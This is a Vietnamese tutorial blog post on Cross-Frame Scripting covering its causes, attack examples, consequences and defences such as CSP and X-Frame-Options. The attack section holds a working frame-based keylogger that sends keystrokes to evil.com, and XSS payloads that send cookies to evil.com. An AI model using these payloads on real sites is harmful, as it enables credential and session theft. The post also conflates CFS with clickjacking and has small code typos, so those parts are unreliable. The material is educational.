Rate this post

Cross-Frame Scripting (XFS) là một cuộc tấn công kết hợp JavaScript độc hại với iframe tải một trang hợp pháp nhằm cố gắng lấy cắp dữ liệu từ một người dùng không nghi ngờ. Cuộc tấn công này thường chỉ thành công khi kết hợp với kỹ thuật xã hội. Một ví dụ sẽ bao gồm một kẻ tấn công thuyết phục người dùng điều hướng đến một trang web mà kẻ tấn công kiểm soát. Sau đó, trang của kẻ tấn công sẽ tải JavaScript độc hại và iframe HTML trỏ đến một trang web hợp pháp. Khi người dùng nhập thông tin đăng nhập vào trang web hợp pháp trong iframe, JavaScript độc hại sẽ đánh cắp các lần gõ phím.

Các bài viết liên quan:

Giới thiệu về Cross Frame Scripting

Cross Frame Scripting (CFS), cũng được gọi là Clickjacking, là một hình thức tấn công trên web được thực hiện bằng cách đánh lừa người dùng và lợi dụng khả năng nhúng trang web vào các iframe.

CFS cho phép kẻ tấn công chèn một trang web độc hại hoặc độc tài vào một iframe không nhìn thấy trong trang web hợp pháp khác. Khi người dùng tương tác với trang web hợp pháp, thực tế họ đang tương tác với trang web độc hại trong iframe. Kẻ tấn công có thể sử dụng các kỹ thuật ẩn nút, lớp và định vị để làm cho iframe không thể nhìn thấy hoặc phát hiện bởi người dùng.

Mục tiêu của tấn công CFS là lừa người dùng thực hiện các hành động không mong muốn hoặc gây thiệt hại, chẳng hạn như nhấp vào các liên kết, chia sẻ thông tin cá nhân, hoặc thực hiện các giao dịch tài chính không hợp lệ.

Tấn công CFS có thể gây ra các hậu quả nghiêm trọng, bao gồm đánh cắp thông tin nhạy cảm, tài khoản ngân hàng bị xâm phạm, lừa đảo người dùng và thực hiện các hành động không mong muốn trên tài khoản của người dùng.

Để phòng ngừa tấn công CFS, cần áp dụng các biện pháp bảo mật như sử dụng chính sách bảo mật HTTP Header (như Content Security Policy), kiểm tra và xác thực dữ liệu đầu vào, sử dụng chính sách Same-Origin và đào tạo nhân viên về các nguy cơ liên quan đến CFS.

Hiểu rõ về tấn công CFS và triển khai các biện pháp bảo mật phù hợp là cần thiết để bảo vệ ứng dụng và người dùng khỏi loại tấn công này.

Xem thêm Các kỹ thuật biểu diễn tri thức(Techniques of knowledge representation)

Các yếu tố có thể gây nên Cross Frame Scripting

Mô hình bảo mật trình duyệt tiêu chuẩn cho phép JavaScript từ một trang web truy cập nội dung của các trang khác đã được tải trong các cửa sổ hoặc khung trình duyệt khác nhau miễn là các trang khác đó được tải từ cùng một máy chủ hoặc miền gốc. Nó không cho phép truy cập vào các trang đã được tải từ các máy chủ hoặc tên miền khác nhau (xem bài viết MSDN Giới thiệu về Tập lệnh và Bảo mật Cross-Frame). Tuy nhiên, các lỗi cụ thể trong mô hình bảo mật này tồn tại trong các trình duyệt cụ thể, cho phép kẻ tấn công truy cập một số dữ liệu trong các trang được tải từ các máy chủ hoặc tên miền khác nhau. Lỗi nổi tiếng nhất như vậy ảnh hưởng đến IE, làm rò rỉ các sự kiện bàn phím trên các bộ khung HTML (xem iDefense Labs tư vấn cho Microsoft Internet Explorer Vượt qua Hạn chế Tập lệnh Khung). Ví dụ: lỗi này có thể cho phép kẻ tấn công lấy cắp thông tin đăng nhập của người dùng trình duyệt khi họ cố gắng nhập chúng vào biểu mẫu đăng nhập của trang web của bên thứ ba.

Xem thêm Kiểm tra bảo mật – Cross-Site Scripting

Một số cách tấn công Cross Frame Scripting

Tấn công XFS chống lại IE

Để khai thác lỗi IE làm rò rỉ các sự kiện bàn phím trên các bộ khung, kẻ tấn công có thể tạo một trang web tại evil.com mà kẻ tấn công kiểm soát và đưa vào trang evil.com một khung hiển thị hiển thị trang đăng nhập example.com. Kẻ tấn công có thể ẩn đường viền của khung và mở rộng khung để bao phủ toàn bộ trang, để người dùng trình duyệt trông giống như họ đang thực sự truy cập example.com Kẻ tấn công đăng ký một số JavaScript trong trang evil.com chính, trang này lắng nghe tất cả các khóa sự kiện trên trang. Thông thường, trình nghe này sẽ chỉ được thông báo về các sự kiện từ trang evil.com chính – nhưng do lỗi trình duyệt, trình nghe này cũng được thông báo về các sự kiện từ trang example.com được đóng khung. Vì vậy, mỗi lần nhấn phím mà người dùng trình duyệt thực hiện trong khung example.com, trong khi cố gắng đăng nhập vào example.com, đều có thể bị kẻ tấn công bắt và báo cáo lại cho evil.com:

<!-- http://evil.com/example.com-login.html -->
<head>
<script>
// array of user keystrokes
var keystrokes = [];
// event listener which captures user keystrokes
document.onkeypress = function() {
    keystrokes.push(window.event.keyCode);
}
// function which reports keytrokes back to evil.com every second
setInterval(function() {
    if (keystrokes.length) {
        var xhr = newXHR();
        xhr.open("POST", "http://evil.com/k");
        xhr.send(keystrokes.join("+"));
    }
    keystrokes = [];
}, 1000);
// function which creates an ajax request object
function newXHR() {
    if (window.XMLHttpRequest)
        return new XMLHttpRequest();
    return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
</script>
</head>
<!-- re-focusing to this frameset tricks browser into leaking events -->
<frameset onload="this.focus()" onblur="this.focus()">
<!-- frame which embeds example.com login page -->
<frame src="http://example.com/login.html">
</frameset>

Tấn công XSS bằng cách sử dụng Frames

Để khai thác Cross Site Scripting trên trang web của bên thứ ba tại example.com, kẻ tấn công có thể tạo một trang web tại evil.com, trang mà kẻ tấn công kiểm soát và bao gồm một iframe ẩn trong trang evil.com. Khung nội tuyến tải trang example.com có ​​lỗ hổng và chèn một số tập lệnh vào đó thông qua lỗ hổng XSS. Trong ví dụ này, trang example.com in giá trị của tham số truy vấn “q” từ URL của trang trong nội dung của trang mà không thoát giá trị. Điều này cho phép kẻ tấn công đưa một số JavaScript vào trang example.com, trang này đánh cắp cookie example.com của người dùng trình duyệt và gửi cookie qua một yêu cầu hình ảnh giả mạo đến evil.com (URL src của iframe được bao bọc để dễ đọc):

<iframe style="position:absolute;top:-9999px" src="http://example.com/↵
    flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/↵
    ?c='+encodeURIComponent(document.cookie)+'\">')</script>"></iframe>

Khung nội tuyến bị ẩn ngoài màn hình, vì vậy người dùng trình duyệt sẽ không biết rằng họ vừa “truy cập” trang example.com. Tuy nhiên, cuộc tấn công này thực sự giống như một cuộc tấn công XSS thông thường, vì kẻ tấn công có thể chỉ cần chuyển hướng người dùng trực tiếp đến trang example.com, sử dụng nhiều phương pháp, bao gồm một phần tử meta như thế này (một lần nữa, URL của phần tử meta được bao bọc để dễ đọc):

<meta http-eqiv="refresh" content="1;url=http://example.com/↵
    flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/↵
    ?c='+encodeURIComponent(document.cookie)+'\">')</script>">

Sự khác biệt duy nhất là khi sử dụng iframe, kẻ tấn công có thể ẩn khung hình ngoài màn hình – vì vậy người dùng trình duyệt sẽ không biết rằng họ vừa “truy cập” example.com. Khi sử dụng chuyển hướng để điều hướng trực tiếp đến example.com, trình duyệt sẽ hiển thị url example.com trong thanh địa chỉ của trình duyệt và trang example.com trong cửa sổ của trình duyệt, vì vậy người dùng trình duyệt sẽ biết rằng họ đang truy cập ví dụ. .com.

Xem thêm Tìm hiểu tấn công Cross Site Tracing(XST)

Một cuộc tấn công XSS khác bằng cách sử dụng Frames

Để khai thác cùng một Cross Site Scripting như trên tại example.com (in giá trị của tham số truy vấn “q” từ URL của trang trong nội dung của trang mà không thoát giá trị), kẻ tấn công có thể tạo một trang web tại evil.com, mà kẻ tấn công kiểm soát, bao gồm một liên kết như sau và khiến người dùng nhấp vào liên kết. Liên kết này đưa một iframe vào trang example.com bằng cách khai thác lỗ hổng XSS với tham số truy vấn “q”; iframe chạy một số JavaScript để đánh cắp cookie example.com của người dùng trình duyệt và gửi nó qua một yêu cầu hình ảnh giả mạo đến evil.com (URL được bao bọc để dễ đọc):

http://example.com/flawed-page.html?=<iframe src="↵
    javascript:document.body.innerHTML=+'<img src=\"http://evil.com/↵
    ?c='+encodeURIComponent(document.cookie)+'\">'"></iframe>

Một lần nữa, cuộc tấn công này có hiệu quả giống như một cuộc tấn công XSS thông thường; kẻ tấn công chỉ cần sử dụng thuộc tính src của phần tử iframe được đưa vào làm phương tiện để chạy một số mã javascript trong trang bị tấn công.

Hậu quả và nguy hiểm của Cross Frame Scripting

Hậu quả và nguy hiểm của Cross Frame Scripting (CFS) có thể là như sau:

  1. Đánh cắp thông tin người dùng: Khi bị tấn công CFS, kẻ tấn công có thể lợi dụng các iframe để đánh cắp thông tin nhạy cảm của người dùng, bao gồm tên đăng nhập, mật khẩu, thông tin tài khoản ngân hàng và thông tin cá nhân khác.
  2. Sự lừa đảo và đánh lừa người dùng: Kẻ tấn công có thể sử dụng CFS để hiển thị nội dung giả mạo hoặc lừa đảo người dùng bằng cách thay đổi nội dung các trang web mà người dùng truy cập. Điều này có thể dẫn đến việc người dùng cung cấp thông tin cá nhân quan trọng cho kẻ tấn công mà họ tin rằng đang giao tiếp với trang web chính thức.
  3. Tấn công khác: Kẻ tấn công có thể sử dụng CFS như một bước đệm để thực hiện các tấn công khác, chẳng hạn như Cross-Site Scripting (XSS) hoặc tấn công đánh cắp cookie. Bằng cách lợi dụng khả năng truy cập vào các trang web khác qua iframe, kẻ tấn công có thể khai thác các lỗ hổng bảo mật khác trong các trang web đó.
  4. Sự suy yếu của tính toàn vẹn của trang web: CFS có thể làm suy yếu tính toàn vẹn của trang web bằng cách chèn nội dung độc hại vào các iframe hoặc thay đổi nội dung hiển thị của trang web mà người dùng truy cập.
  5. Ảnh hưởng đến uy tín và danh tiếng: Nếu một trang web trở thành mục tiêu của tấn công CFS, điều này có thể gây ảnh hưởng đáng kể đến uy tín và danh tiếng của trang web đó. Người dùng có thể mất lòng tin vào trang web và tránh truy cập nó trong tương lai.

Vì những hậu quả và nguy hiểm nghiêm trọng của Cross Frame Scripting, việc triển khai các biện pháp phòng ngừa và bảo mật là cần thiết để bảo vệ ứng dụng và người dùng khỏi loại tấn công này.

Xem thêm Cross Tabulation trong SAS

Biện pháp phòng ngừa Cross Frame Scripting

Để phòng ngừa tấn công Cross Frame Scripting (CFS), bạn có thể áp dụng các biện pháp bảo mật sau đây:

  1. Thiết lập chính sách bảo mật HTTP Header: Sử dụng HTTP Header như Content Security Policy (CSP) và X-Frame-Options để giới hạn việc nhúng trang web vào các iframe từ các nguồn không đáng tin cậy. Đặt chính sách bảo mật này sao cho trình duyệt từ chối việc nhúng trang web của bạn vào các iframe không mong muốn.
  2. Sử dụng mã hóa và xác thực dữ liệu: Kiểm tra và xác thực dữ liệu đầu vào từ người dùng để đảm bảo rằng chúng không chứa mã độc hoặc ký tự đặc biệt có thể được lợi dụng để thực hiện tấn công CFS. Áp dụng các kỹ thuật mã hóa và xác thực dữ liệu phù hợp.
  3. Kiểm tra và sửa lỗi bảo mật: Thực hiện kiểm tra bảo mật định kỳ trên ứng dụng và hệ thống của bạn để phát hiện và sửa các lỗ hổng bảo mật liên quan đến CFS. Cập nhật và vá lỗ hổng bảo mật ngay khi có các bản vá bảo mật được cung cấp.
  4. Giới hạn quyền và phân quyền: Thiết lập quyền truy cập phù hợp cho các trang web và iframe. Hạn chế quyền truy cập vào các tài nguyên nhạy cảm và chỉ cho phép truy cập từ các nguồn đáng tin cậy.
  5. Sử dụng chính sách Same-Origin (SOP): Áp dụng chính sách Same-Origin để ngăn chặn truy cập và tương tác giữa các trang web hoặc domain khác nhau. Điều này giới hạn khả năng tấn công CFS.
  6. Sử dụng bộ lọc đầu vào (input filtering): Sử dụng các bộ lọc đầu vào để loại bỏ hoặc mã hóa các ký tự đặc biệt hoặc đoạn mã độc từ các trường dữ liệu người dùng nhập vào.
  7. Đào tạo nhân viên: Đào tạo nhân viên về các nguy cơ liên quan đến CFS và các biện pháp phòng ngừa. Đảm bảo nhân viên có hiểu biết đầy đủ về tấn công này và khả năng xử lý khi phát hiện.

Tuy nhiên, hãy nhớ rằng không có biện pháp phòng ngừa tuyệt đối. Việc kết hợp nhiều biện pháp bảo mật và kiểm tra định kỳ là cần thiết để đảm bảo an toàn cho ứng dụng và hệ thống của bạn.

Xem thêm Kiểm tra RIA Cross Domain Policy

Để lại một bình luận

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Contact Me on Zalo
Call now